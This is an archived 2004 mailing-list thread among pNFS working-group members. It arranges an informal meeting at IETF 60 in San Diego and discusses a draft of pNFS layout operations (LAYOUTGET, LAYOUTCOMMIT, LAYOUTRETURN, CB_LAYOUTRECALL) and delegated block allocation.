Quinn's bar 6:30 - 7 : walk to The Boathouse 7pm - 9ish : The Boathouse for (working/unwinding) dinner Folks, it would help if I could get a better head count for at least lunch and dinner. My current list of 13 people joining us for both is: Tom Talpay Peter Corbett Dave Noveck David Black Julian Satran Lee Ward Tyce McLarty Bill Loewe Charles Fan Brent Welch Garth Gibson Trond Myklebust Brian Pawlowski Please let me know if a name needs to be added, or if anyone will be skipping lunch or dinner. Thanks garth On Aug 1, 2004, at 6:35 PM, black_david@emc.com wrote: > Needs to be ~1 hour later, please. There are a couple of > 5-6pm IETF sessions on Tue that I may need/want to attend. > > Thanks, > --David > >> -----Original Message----- >> From: Garth Gibson [mailto:garth@panasas.com] >> Sent: Sunday, August 01, 2004 8:17 PM >> To: pnfs-reqs@yahoogroups.com >> Cc: Brian Pawlowski; Trond Myklebust >> Subject: Re: [pnfs-reqs] Aug 3 pNFS f-2-f reminder >> >> >> Great! Rapid response and 2 new attendees swings it for me. I've >> booked a table for 15 at 6pm at The Boathouse, 2040 Harbor Island Dr, >> 291-8010, in my name. >> >> garth gibson >> >> On Aug 1, 2004, at 5:06 PM, Trond Myklebust wrote: >> >>> P� su , 01/08/2004 klokka 17:02, skreiv Brian Pawlowski: >>>> I believe a 20 minute walk is fine with us! >>>> >>>> Right Trond? >>> >>> Afternoon in bar + walk + food is a winning combination as >> far as I'm >>> concerned... >>> >>> Trond >>> >>>>> I'm thinking I should book a dinner for us too. One >> recommendation >>>>> was >>>>> ""The Boathouse"", a one mile walk along the harbor from the East >>>>> Tower, >>>>> 'seafood and steak, $$$"". I like the idea of a 20 min >> walk after an >>>>> afternoon in the bar. And the hotel shuttle will drive anyone who >>>>> wants to skip the walk. >>>>> >>>>> Speak up if you'd like to encourage me to keep it in the >> one building >>>>> (dinner back at the same place as lunch) or in the next tower (5 >>>>> minute >>>>> walk, ""mediterranean bistro, $$""). >>>>> >>>>> garth >>>>> >>>>> On Aug 1, 2004, at 3:40 PM, Garth Gibson wrote: >>>>>> Folks, >>>>>> >>>>>> I've heard from about 11 people that intend to gather during the >>>>>> afternoon of Tues Aug 3 to discuss pNFS extensions to NFSv4. The >>>>>> nominal plan is to ""gather in the hotel lobby bar in the >> afternoon"". >>>>>> Maybe some details are needed? :-) >>>>>> >>>>>> The NFSv4 IETF meeting is Tues Aug 3 9-11:30 am in the Marina II >>>>>> meeting room of East Tower (first building on the only >> road into the >>>>>> ""Island"") of the Sheraton Harbor Island >>>>>> (www.ietf.org/meetings/hotels_60.html, ""across the >> street"" from the >>>>>> airport). Some of us will be in that meeting, but not >> all, and IETF >>>>>> registration onsite is over $600, so some pNFS attendees will >>>>>> probably >>>>>> not be registered. >>>>>> >>>>>> The hotel lobby bar is Quinn's -- it is behind reception on the >>>>>> right >>>>>> as you pass reception. It is not a big place, so >> depending on how >>>>>> many >>>>>> IETF attendees prefer a bar to a meeting room, we might have a >>>>>> problem. >>>>>> >>>>>> I thought we should at least have a good starting point, >> so I made a >>>>>> reservation for 10 people (oops, I'll have to fix that) >> at 1pm in >>>>>> the >>>>>> Harbor's Edge restaurant -- in the lobby of the East Tower behind >>>>>> reception on the left and a little around the corner. Perhaps we >>>>>> should start at noon, but I thought I'd leave a little >> time for the >>>>>> NFSv4 attendees to ""debrief"" after the NFSv4 meeting >> before starting >>>>>> this one. >>>>>> >>>>>> Hopefully enough of us can hold off eating lunch until >> 1pm so that >>>>>> the >>>>>> restaurant treats us nicely. Once we think we have exhausted our >>>>>> welcome there, we can drift over to Quinn's and drink >> ourselves into >>>>>> technical agreement on pNFS. >>>>>> >>>>>> Attendees I expect at this time: Tom Talpay, Peter Corbett, Dave >>>>>> Noveck, David Black, Julian Satran, Lee Ward, Tyce McLarty, Bill >>>>>> Loewe, >>>>>> Charles Fan, Brent Welch, Garth Gibson. >>>>>> >>>>>> Please let us know if you're coming and are not on this list. >>>>>> >>>>>> Thanks! >>>>>> garth >>>>>> >>>>>> Begin forwarded message: >>>>>> >>>>>>> From: Garth Gibson >>>>>>> Date: July 8, 2004 9:13:40 AM PDT >>>>>>> To: pnfs-reqs@yahoogroups.com >>>>>>> Subject: [pnfs-reqs] Re: planning future meetings >>>>>>> Reply-To: pnfs-reqs@yahoogroups.com >>>>>>> >>>>>>> Here is what I think is on the table for comments/interest from >>>>>>> this >>>>>>> community: >>>>>>> >>>>>>> Tues Aug 3, IETF 60, San Diego: >>>>>>> - IETF NFSv4 meeting is in the morning >>>>>>> - in the afternoon, and evening if appropriate, interested and >>>>>>> available pNFS participants gather in the hotel lobby bar. the >>>>>>> goal >>>>>>> is >>>>>>> to get 4-6 hours of meeting time to justify those of us >> traveling >>>>>>> to >>>>>>> San Diego that will not otherwise attend the IETF >> meeting. we might >>>>>>> try >>>>>>> to arrange a room in a local chinese restaurant, for >> example, but >>>>>>> we >>>>>>> do >>>>>>> not expect any meeting rooms will be available at the >> IETF hotel >>>>>>> and >>>>>>> we >>>>>>> do not want to create an officially conflicting meeting. >>>>>>> - IETF schedule is not final and may change as late as 2 weeks >>>>>>> before >>>>>>> the meeting, so people's Tues afternoon may change. this is in >>>>>>> part >>>>>>> why we are suggesting that the meeting may go into the evening. >>>>>>> staying the night is not a bad thing for most of us as the RDDP >>>>>>> meeting >>>>>>> is likely to be first thing on Wed morning anyway. >>>>>>> >>>>>>> Would folks please speak up on this list if they are going to >>>>>>> attend >>>>>>> this meeting. >>>>>>> >>>>>>> Thurs Sept 30, Pennsylvania: >>>>>>> - an informal face-to-face in the Pittsburgh area, at >> either CMU or >>>>>>> Nemacolin (for those who collaborate with or support CMU's PDL, >>>>>>> this >>>>>>> is >>>>>>> the day after the PDL retreat) >>>>>>> - this might be the last informal pNFS meeting done outside the >>>>>>> NFSv4 >>>>>>> TWG schedule as we hope to soon convince the NFSv4 >> group to take >>>>>>> us in >>>>>>> >>>>>>> week of Nov 8, IETF 61, Washington DC >>>>>>> - similar to the Aug 3 meeting, a meeting in the bar or in a >>>>>>> restaurant >>>>>>> during the IETF meeting week >>>>>>> >>>>>>> garth >>>>>>> >>>>>>> >>>>>>> On Jul 1, 2004, at 1:25 PM, Garth Gibson wrote: >>>>>>> >>>>>>>> Folks, >>>>>>>> >>>>>>>> We've gotten behind on meeting plans. >>>>>>>> >>>>>>>> The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San >>>>>>>> Diego. >>>>>>>> See the IETF agenda at >> http://www.ietf.org/meetings/agenda_60.txt >>>>>>>> >>>>>>>> Hopefully pNFS will get some time on that agenda, but >> it will be a >>>>>>>> small amount at most. What I'd like to propose is >> that we meet >>>>>>>> f-2-f >>>>>>>> on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San >>>>>>>> Diego. >>>>>>>> I doubt we'll get a room in the IETF hotel (Sheraton San Diego >>>>>>>> Hotel >>>>>>>> and Marina), so I'm also looking for proposals for >> where to hold >>>>>>>> the >>>>>>>> meeting. >>>>>>>> >>>>>>>> Since timing is tight on this, please reply soon. >>>>>>>> >>>>>>>> And while you are thinking about your schedule, lets >> talk about >>>>>>>> the >>>>>>>> meeting after. The next IETF is Nov 7-12 in >> Washington DC (which >>>>>>>> overlaps SC04 in Pittsburgh). Again we should target >> a piece of >>>>>>>> the >>>>>>>> not-very-long NFSv4 meeting and decide if we want to >> also have a >>>>>>>> f-2-f. >>>>>>>> >>>>>>>> I'm happy to propose a day long interim meeting at CMU in >>>>>>>> Pittsburgh >>>>>>>> in >>>>>>>> September, before the cut off dates to submit for the IETF >>>>>>>> meeting in >>>>>>>> Nov. >>>>>>>> >>>>>>>> Opinions? Date suggestions? Alternatives? >>>>>>>> >>>>>>>> garth >>>>>>>> >>>>>>>> >>>>>>>> >>>>>>>> >>>>>>>> >>>>>>>> Yahoo! Groups Links >>>>>>>> >>>>>>>> >>>>>>>> >>>>>>>> >>>>>>> >>>>>>> >>>>>>> >>>>>>> >>>>>>> >>>>>>> Yahoo! Groups Links >>>>>>> >>>>>>> >>>>>>> >>>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> Yahoo! Groups Links >>>>>> >>>>>> >>>>>> >>>>>> >>>>> >>>>> >>>>> >>>>> >>>>> >>>>> Yahoo! Groups Links >>>>> >>>>> >>>>> >>>>> >>>>> >>>> >>> >>> >>> >>> >>> Yahoo! Groups Links >>> >>> >>> >>> >> >> >> >> ------------------------ Yahoo! Groups Sponsor >> --------------------~--> >> Yahoo! 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Groups Links > > > > >From mclarty3@llnl.gov Mon Aug 02 15:14:33 2004 Return-Path: X-Sender: mclarty3@llnl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 15314 invoked from network); 2 Aug 2004 22:14:32 -0000 Received: from unknown (66.218.66.172) by m25.grp.scd.yahoo.com with QMQP; 2 Aug 2004 22:14:32 -0000 Received: from unknown (HELO smtp-2.llnl.gov) (128.115.250.82) by mta4.grp.scd.yahoo.com with SMTP; 2 Aug 2004 22:14:31 -0000 Received: from mailfe-1.llnl.gov (localhost [127.0.0.1]) by smtp-2.llnl.gov (8.12.3p2-20030917/8.12.3/LLNL evision: 1.15 $) with ESMTP id i72MEUUw004543 for ; Mon, 2 Aug 2004 15:14:31 -0700 (PDT) Received: from POLARBEAR.llnl.gov ([134.9.18.59] verified) by mailfe-1.llnl.gov (CommuniGate Pro SMTP 4.1.8) with ESMTP id 4788222 for pnfs-reqs@yahoogroups.com; Mon, 02 Aug 2004 15:14:30 -0700 Message-Id: <5.0.0.25.2.20040802145754.027006f8@poptop.llnl.gov> X-Sender: e002801@poptop.llnl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Mon, 02 Aug 2004 15:14:30 -0700 To: pnfs-reqs@yahoogroups.com In-Reply-To: <200407300222.i6U2Msr27922@medlicott.panasas.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed X-eGroups-Remote-IP: 128.115.250.82 From: Tyce McLarty Subject: Re: [pnfs-reqs] pnfs ops, draft of June 8 X-Yahoo-Group-Post: member; u=169320772 X-Yahoo-Profile: mclarty3 Brent, This is my first serious reading of the ops document, so I apologize for replowing ground that you have covered before. I have not gotten to the end, but I have a couple of basic questions that will impact much of what follows. The defintion of Layout says Layout = ""map"" which I did not think was a good idea. Later I found it is not quite true either. In Section 2 paragraph 1: It seems like it would be nice symmetry if the block device layout had an aggregation map as well as OBD and file. If we call the ""block number and block count"" part of the layout an aggregation map, then all three look much the same. The layouts all have a device-id, a logical-id of some sort, and an aggregation map - symmetry. Must be a good reason not to do this because it seems too simple. In Section 2 paragraph 3: where it gets into the details of aggragation maps, layout used is where it would not make sense to mean LAYOUT, so we need some other descriptive phrase, like ""data distributions"". We need to be careful about using one of our defined terms in a generic way to avoid confusion. Also the mention of nesting sounds very powerful, but needs to be more specific about whether it is just maps or can LAYOUTs be nested as well. Regards, Tyce At 07:22 PM 7/29/2004, you wrote: >Here is an update to my ops draft based on the June 7 meeting. >I apologize for not sending it out promptly, but here 'tis. >I do not include the discussion of why things look as they do now, >but you will notice a slimmer set of ops. Much slimmer. I could >upload this to the yahoo groups web site, but most of you may find >simple inline text easier to deal with :-) > >The ops boil down to: >7.1 LAYOUTGET - Get Layout Information 9 >7.2 LAYOUTCOMMIT - Commit writes made using a layout 12 >7.3 LAYOUTRETURN - Release Layout Information 14 >8.1 CB_LAYOUTRECALL 14 > >Food for thought next Tuesday - see you then. >If you have feedback before then, I'll have time Monday evening >to go through this. >-- >Brent Welch >Software Architect, Panasas Inc >Delivering the premier storage system for scalable Linux clusters > >www.panasas.com >welch@panasas.com > > > > > > > >Yahoo! Groups Links > > > > >From dhildebz@eecs.umich.edu Mon Aug 02 17:16:43 2004 Return-Path: X-Sender: dhildebz@eecs.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 49060 invoked from network); 3 Aug 2004 00:16:43 -0000 Received: from unknown (66.218.66.166) by m24.grp.scd.yahoo.com with QMQP; 3 Aug 2004 00:16:43 -0000 Received: from unknown (HELO smtp.eecs.umich.edu) (141.213.4.43) by mta5.grp.scd.yahoo.com with SMTP; 3 Aug 2004 00:16:42 -0000 Received: from oemcomputer (pcp09767352pcs.albqrq01.nm.comcast.net [69.240.68.165]) (authenticated bits=0) by smtp.eecs.umich.edu (8.13.0/8.13.0) with ESMTP id i730Gbee026982 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO) for ; Mon, 2 Aug 2004 20:16:38 -0400 Message-ID: <010f01c478ee$a0a0d160$a544f045@oemcomputer> To: References: <200407300222.i6U2Msr27922@medlicott.panasas.com> Date: Mon, 2 Aug 2004 18:12:49 -0600 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_010C_01C478BC.51C4E720"" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1437 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Spam-Status: No -- Hits: -9.396 Required: 5 X-Spam-Summary: BAYES_00,HTML_50_60,HTML_MESSAGE,HTML_TAG_EXIST_TBODY,MAILTO_WITH_SUBJ X-Scanned-By: MIMEDefang 2.42 X-eGroups-Remote-IP: 141.213.4.43 From: ""Dean Hildebrand"" Subject: Re: [pnfs-reqs] pnfs ops, draft of June 8 X-Yahoo-Group-Post: member; u=169352062 X-Yahoo-Profile: seattleplus ADVERTISEMENT Since I can't make the pNFS meeting, here are my comments about the new ops document. Thanks Brent. This has been batted around a lot, but the document refers to specific storage types, limiting its scope. Section 4 talks about enumerating layout types. I think that is great as background information, but I believe the layout should be opaque, not opaque per layout type. It seems unecessary to bless any layouts. Meaning pnfs_layout4 union pnfs_layout4 switch (pnfs_layouttype4 type) { default: opaque layout_data<>; }; would become pnfs_layout4 { default: opaque layout_data<>; }; Having pnfs_layouttype4 is ok as long as it is not interpreted by NFS. Also, here is LAYOUTGET4args struct LAYOUTGET4args { /* CURRENT_FH: file */ pnfs_stortype4 storage_type; layoutget_iomode4 iomode; layoutget_sharemode4 sharemode; offset4 offset; length4 length; }; I think we will need to add some type of cookie identifiers like READDIR to handle large layout maps. I need to spend some more time thinking about this, but there will be a size limitation on the layout blob. We could even create a new mount option like rsize/wsize or something. Also, if LAYOUTGET is to return a stateid, you need to send a clientid in the request struct layout_owner4 { clientid4 clientid; opaque owner; }; Also in Section 3, where it talks about security information. Are people thinking that the security information would be passed back in the opaque layout or would it somehow fit into the existing NFS security infrastructure? I find the file layout blob is turning into a more general data access information blob. I have another question about Section 9.2 >>>> 9.2 Multiple Reads to a File Client does an OPEN to get a file handle. Client does a LAYOUTGET for a range of the file, gets back a layout. Client uses the storage protocol and the layout to access the file. Client closes stateID and with CLOSE. Client does an OPEN to get a file handle. Client finds cached layout associated with file handle. Client uses the storage protocol and the layout to access the file. Client closes stateID and with CLOSE. A bit more interesting as we've saved the LAYOUTGET operation, but we are still doing server round-trips. >>>>> There seems to be an issue of when the layout blob cache expires. When does the LAYOUTRETURN occur? I guess this fits into the layout delegation conversations. Since the first client closes the file, I doubt any layout information will be around for client 2 as the close removes all state. In section 9.3 >>> 9.3 Multiple Reads to a File with Delegations Client does an OPEN to get a file handle and an open delegation. Client does a LAYOUTGET for a range of the file, gets back a layout. Client uses the storage protocol and the layout to access the file. Application does a close(), but client keeps state under the delegation. (time passes) Application does another open(), which client handles under the delegation. Client finds cached layout associated with file handle. Client uses the storage protocol and the layout to access the file. (pattern continues until open delegation and/or layout is recalled) This illustrates the efficiency of combining open delegations and layouts to eliminate interactions with the file server altogether. >>> If we are talking open delegations, then this example can't happen because delegations are OPEN to CLOSE. This could work if client 1 doesn't close the file. Dean ----- Original Message ----- From: Brent Welch To: pnfs-reqs@yahoogroups.com Sent: Thursday, July 29, 2004 8:22 PM Subject: [pnfs-reqs] pnfs ops, draft of June 8 Here is an update to my ops draft based on the June 7 meeting. I apologize for not sending it out promptly, but here 'tis. I do not include the discussion of why things look as they do now, but you will notice a slimmer set of ops. Much slimmer. I could upload this to the yahoo groups web site, but most of you may find simple inline text easier to deal with :-) The ops boil down to: 7.1 LAYOUTGET - Get Layout Information 9 7.2 LAYOUTCOMMIT - Commit writes made using a layout 12 7.3 LAYOUTRETURN - Release Layout Information 14 8.1 CB_LAYOUTRECALL 14 Food for thought next Tuesday - see you then. If you have feedback before then, I'll have time Monday evening to go through this. -- Brent Welch Software Architect, Panasas Inc Delivering the premier storage system for scalable Linux clusters www.panasas.com welch@panasas.com Yahoo! Groups Sponsor ADVERTISEMENT ------------------------------------------------------------------------------ Yahoo! Groups Links a.. To visit your group on the web, go to: http://groups.yahoo.com/group/pnfs-reqs/ b.. To unsubscribe from this group, send an email to: pnfs-reqs-unsubscribe@yahoogroups.com c.. Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. >From dhildebz@eecs.umich.edu Tue Aug 03 11:12:54 2004 Return-Path: X-Sender: dhildebz@eecs.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 49939 invoked from network); 3 Aug 2004 18:12:53 -0000 Received: from unknown (66.218.66.172) by m21.grp.scd.yahoo.com with QMQP; 3 Aug 2004 18:12:53 -0000 Received: from unknown (HELO willow.eecs.umich.edu) (141.213.4.14) by mta4.grp.scd.yahoo.com with SMTP; 3 Aug 2004 18:12:53 -0000 Received: from willow.eecs.umich.edu (localhost.eecs.umich.edu [127.0.0.1]) by willow.eecs.umich.edu (8.12.11/8.12.11) with ESMTP id i73ICpKw022514 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Aug 2004 14:12:51 -0400 Received: from localhost (dhildebz@localhost) by willow.eecs.umich.edu (8.12.11/8.12.11/Submit) with ESMTP id i73ICpRa022511 for ; Tue, 3 Aug 2004 14:12:51 -0400 Date: Tue, 3 Aug 2004 14:12:51 -0400 (EDT) To: pnfs-reqs@yahoogroups.com In-Reply-To: <200407300222.i6U2Msr27922@medlicott.panasas.com> Message-ID: References: <200407300222.i6U2Msr27922@medlicott.panasas.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-eGroups-Remote-IP: 141.213.4.14 From: Dean Hildebrand Subject: Re: [pnfs-reqs] pnfs ops, draft of June 8 X-Yahoo-Group-Post: member; u=169352062 X-Yahoo-Profile: seattleplus Reading the document again, I see the following info under LAYOUTGET: >> IMPLEMENTATION Typically, LAYOUTGET will be called as part of a compound RPC after an OPEN operation and results in the client having location information for the file. The client specifies a storage type that limits what kind of layout the server will return. This prevents servers from issuing layouts that are unusable by the client. >> A LAYOUTGET cannot be part of the same compound RPC as OPEN since it requires an offset and length. We have to pay the extra round trip price unless a map for the entire file is requested (maybe on O_CREAT). Dean On Thu, 29 Jul 2004, Brent Welch wrote: > Here is an update to my ops draft based on the June 7 meeting. > I apologize for not sending it out promptly, but here 'tis. > I do not include the discussion of why things look as they do now, > but you will notice a slimmer set of ops. Much slimmer. I could > upload this to the yahoo groups web site, but most of you may find > simple inline text easier to deal with :-) > > The ops boil down to: > 7.1 LAYOUTGET - Get Layout Information 9 > 7.2 LAYOUTCOMMIT - Commit writes made using a layout 12 > 7.3 LAYOUTRETURN - Release Layout Information 14 > 8.1 CB_LAYOUTRECALL 14 > > Food for thought next Tuesday - see you then. > If you have feedback before then, I'll have time Monday evening > to go through this. > -- > Brent Welch > Software Architect, Panasas Inc > Delivering the premier storage system for scalable Linux clusters > > www.panasas.com > welch@panasas.com > > > > > Yahoo! Groups Sponsor > ADVERTISEMENT > click here > [rand=631492116] > > ________________________________________________________________________________ > Yahoo! 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Terms of Service. > > >From bwelch@panasas.com Fri Aug 06 18:39:28 2004 Return-Path: X-Sender: welch@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 16176 invoked from network); 7 Aug 2004 01:39:27 -0000 Received: from unknown (66.218.66.218) by m24.grp.scd.yahoo.com with QMQP; 7 Aug 2004 01:39:27 -0000 Received: from unknown (HELO medlicott.panasas.com) (63.80.58.202) by mta3.grp.scd.yahoo.com with SMTP; 7 Aug 2004 01:39:27 -0000 Received: from panasas.com (welch@localhost) by medlicott.panasas.com (8.11.6/8.11.6) with ESMTP id i771dRY29224 for ; Fri, 6 Aug 2004 18:39:27 -0700 Message-Id: <200408070139.i771dRY29224@medlicott.panasas.com> X-Authentication-Warning: medlicott.panasas.com: welch owned process doing -bs X-Mailer: exmh version 2.7.1 07/28/2004 with nmh-1.0.4 To: pnfs-reqs@yahoogroups.com In-reply-to: References: <200407300222.i6U2Msr27922@medlicott.panasas.com> Comments: In-reply-to Dean Hildebrand message dated ""Tue, 03 Aug 2004 14:12:51 -0400."" X-URL: http://www.panasas.com/ X-Face: ""HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=> r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\\W:AK\\j?@?c1o From: Brent Welch Subject: Re: [pnfs-reqs] pnfs ops, draft of June 8 X-Yahoo-Group-Post: member; u=169551413 X-Yahoo-Profile: brent_welch_1960 Clients can ask for layout information with any offset and length when they first access a file. It never hurts to ask for too much as the server would simply return a layout for less if the file wasn't that big. Similarly, for newly created files the client can ask for a write-layout for the first chunk of the file they expect to write. >>>Dean Hildebrand said: > Reading the document again, I see the following info under LAYOUTGET: > >> > IMPLEMENTATION > > Typically, LAYOUTGET will be called as part of a compound RPC after an > OPEN operation and results in the client having location information > for the file. The client specifies a storage type that limits what kind > of layout the server will return. This prevents servers from issuing > layouts that are unusable by the client. > >> > > A LAYOUTGET cannot be part of the same compound RPC as OPEN since it > requires an offset and length. We have to pay the extra round trip price > unless a map for the entire file is requested (maybe on O_CREAT). > Dean > > > On Thu, 29 Jul 2004, Brent Welch wrote: > > > Here is an update to my ops draft based on the June 7 meeting. > > I apologize for not sending it out promptly, but here 'tis. > > I do not include the discussion of why things look as they do now, > > but you will notice a slimmer set of ops. Much slimmer. I could > > upload this to the yahoo groups web site, but most of you may find > > simple inline text easier to deal with :-) > > > > The ops boil down to: > > 7.1 LAYOUTGET - Get Layout Information 9 > > 7.2 LAYOUTCOMMIT - Commit writes made using a layout 12 > > 7.3 LAYOUTRETURN - Release Layout Information 14 > > 8.1 CB_LAYOUTRECALL 14 > > > > Food for thought next Tuesday - see you then. > > If you have feedback before then, I'll have time Monday evening > > to go through this. > > -- > > Brent Welch > > Software Architect, Panasas Inc > > Delivering the premier storage system for scalable Linux clusters > > > > www.panasas.com > > welch@panasas.com > > > > > > > > > > Yahoo! Groups Sponsor > > ADVERTISEMENT > > click here > > [rand=631492116] > > > > _______________________________________________________________________ ___ ______ > > Yahoo! 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Groups Links > > > > > -- Brent Welch Software Architect, Panasas Inc Delivering the premier storage system for scalable Linux clusters www.panasas.com welch@panasas.com >From julian_satran@il.ibm.com Sun Aug 08 10:07:15 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 48917 invoked from network); 8 Aug 2004 17:07:14 -0000 Received: from unknown (66.218.66.218) by m21.grp.scd.yahoo.com with QMQP; 8 Aug 2004 17:07:14 -0000 Received: from unknown (HELO mtagate2.de.ibm.com) (195.212.29.151) by mta3.grp.scd.yahoo.com with SMTP; 8 Aug 2004 17:07:13 -0000 Received: from d12nrmr1507.megacenter.de.ibm.com (d12nrmr1507.megacenter.de.ibm.com [9.149.167.1]) by mtagate2.de.ibm.com (8.12.10/8.12.10) with ESMTP id i78H5rgB151088 for ; Sun, 8 Aug 2004 17:05:53 GMT Received: from d12ml102.megacenter.de.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12nrmr1507.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i78H5qVA213216 for ; Sun, 8 Aug 2004 19:05:52 +0200 In-Reply-To: To: pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5.2 June 01, 2004 Message-ID: Date: Sun, 8 Aug 2004 20:05:44 +0300 X-MIMETrack: Serialize by Router on D12ML102/12/M/IBM(Release 6.5.1| March 5, 2004) at 08/08/2004 20:05:51, Serialize complete at 08/08/2004 20:05:51 Content-Type: multipart/alternative; boundary=""=_alternative 004328C588256EEA_="" X-eGroups-Remote-IP: 195.212.29.151 From: Julian Satran Subject: Re: [pnfs-reqs] pnfs ops, draft of June 8 X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran Following this thread and the F2F discussion it became clear that for the block mode the model you are considering for allocation is having the matadata do specific allocation per file ""withing the confines"" of a layout. Although this model keeps the optimisation of the layout with the metadata server it is hardly the only one possible and arguably scalable (e.g., creating temporary and/or small files involves always an interaction with the MDS). An alternative mode that could be acceptable and is used in the block mode is to make allocations ""global - per FS and client"" and delegate the exact allocation to the client. This is a scheme that is more scalable and avoids some critical privacy pittfals (like keeping track which allocations are committed to avoid applications getting to read ""old/different"" file data. To keep the delegation model almost unchanged this type of allocation can be achieve by delegating an allocation map per device and have the clients use it with only occasional releases. Regards, Julo Dean Hildebrand 03/08/04 11:12 Please respond to pnfs-reqs To pnfs-reqs@yahoogroups.com cc Subject Re: [pnfs-reqs] pnfs ops, draft of June 8 Reading the document again, I see the following info under LAYOUTGET: >> IMPLEMENTATION Typically, LAYOUTGET will be called as part of a compound RPC after an OPEN operation and results in the client having location information for the file. The client specifies a storage type that limits what kind of layout the server will return. This prevents servers from issuing layouts that are unusable by the client. >> A LAYOUTGET cannot be part of the same compound RPC as OPEN since it requires an offset and length. We have to pay the extra round trip price unless a map for the entire file is requested (maybe on O_CREAT). Dean On Thu, 29 Jul 2004, Brent Welch wrote: > Here is an update to my ops draft based on the June 7 meeting. > I apologize for not sending it out promptly, but here 'tis. > I do not include the discussion of why things look as they do now, > but you will notice a slimmer set of ops. Much slimmer. I could > upload this to the yahoo groups web site, but most of you may find > simple inline text easier to deal with :-) > > The ops boil down to: > 7.1 LAYOUTGET - Get Layout Information 9 > 7.2 LAYOUTCOMMIT - Commit writes made using a layout 12 > 7.3 LAYOUTRETURN - Release Layout Information 14 > 8.1 CB_LAYOUTRECALL 14 > > Food for thought next Tuesday - see you then. > If you have feedback before then, I'll have time Monday evening > to go through this. > -- > Brent Welch > Software Architect, Panasas Inc > Delivering the premier storage system for scalable Linux clusters > > www.panasas.com > welch@panasas.com > > > > > Yahoo! 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Groups is subject to: http://docs.yahoo.com/info/terms/ >From garth@panasas.com Thu Aug 12 13:23:11 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 48091 invoked from network); 12 Aug 2004 20:23:09 -0000 Received: from unknown (66.218.66.218) by m5.grp.scd.yahoo.com with QMQP; 12 Aug 2004 20:23:09 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta3.grp.scd.yahoo.com with SMTP; 12 Aug 2004 20:23:09 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B56WCTD; Thu, 12 Aug 2004 16:23:03 -0400 Mime-Version: 1.0 (Apple Message framework v618) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <4AB38983-EC76-11D8-BADC-000A95A94F04@panasas.com> Content-Transfer-Encoding: 7bit Date: Thu, 12 Aug 2004 08:43:01 -0700 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.618) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] pnfs ops, draft of June 8 X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Delegating an allocation map to the client, allowing the client to allocate from the map for multiple files open for write, seems to me to be a large chunk of functionality and recovery specification. I hope I'm wrong on this, because we are trying for a small amount of NFSv4 semantics that will nevertheless lead to a lot of functionality when applied to block, object and file storage devices. Can you suggest a thin but safe specification of this multi-file delegated block allocation, Julian? garth On Aug 8, 2004, at 1:05 PM, Julian Satran wrote: > > Following this thread and the F2F discussion it became clear that for > the block mode the model you are considering for allocation is having > the matadata do specific allocation per file ""withing the confines"" of > a > layout. Although this model keeps the optimisation of the layout with > the metadata server it is hardly the only one possible and arguably > scalable (e.g., creating temporary and/or small files involves always > an > interaction with the MDS). An alternative mode that could be acceptable > and is used in the block mode is to make allocations ""global - per FS > and client"" and delegate the exact allocation to the client. This is a > scheme that is more scalable and avoids some critical privacy pittfals > (like keeping track which allocations are committed to avoid > applications getting to read ""old/different"" file data. > > To keep the delegation model almost unchanged this type of allocation > can be achieve by delegating an allocation map per device and have the > clients use it with only occasional releases. > > Regards, > Julo > > > > Dean Hildebrand > > > 03/08/04 11:12 > > > Please respond to > pnfs-reqs > > > To > pnfs-reqs@yahoogroups.com > > cc > > Subject > Re: [pnfs-reqs] pnfs ops, draft of June 8 > > > > > > > > Reading the document again, I see the following info under LAYOUTGET: >>> > IMPLEMENTATION > > Typically, LAYOUTGET will be called as part of a compound RPC after an > OPEN operation and results in the client having location information > for the file. The client specifies a storage type that limits what kind > of layout the server will return. This prevents servers from issuing > layouts that are unusable by the client. >>> > > A LAYOUTGET cannot be part of the same compound RPC as OPEN since it > requires an offset and length. We have to pay the extra round trip > price > unless a map for the entire file is requested (maybe on O_CREAT). > Dean > > > On Thu, 29 Jul 2004, Brent Welch wrote: > >> Here is an update to my ops draft based on the June 7 meeting. >> I apologize for not sending it out promptly, but here 'tis. >> I do not include the discussion of why things look as they do now, >> but you will notice a slimmer set of ops. Much slimmer. I could >> upload this to the yahoo groups web site, but most of you may find >> simple inline text easier to deal with :-) >> >> The ops boil down to: >> 7.1 LAYOUTGET 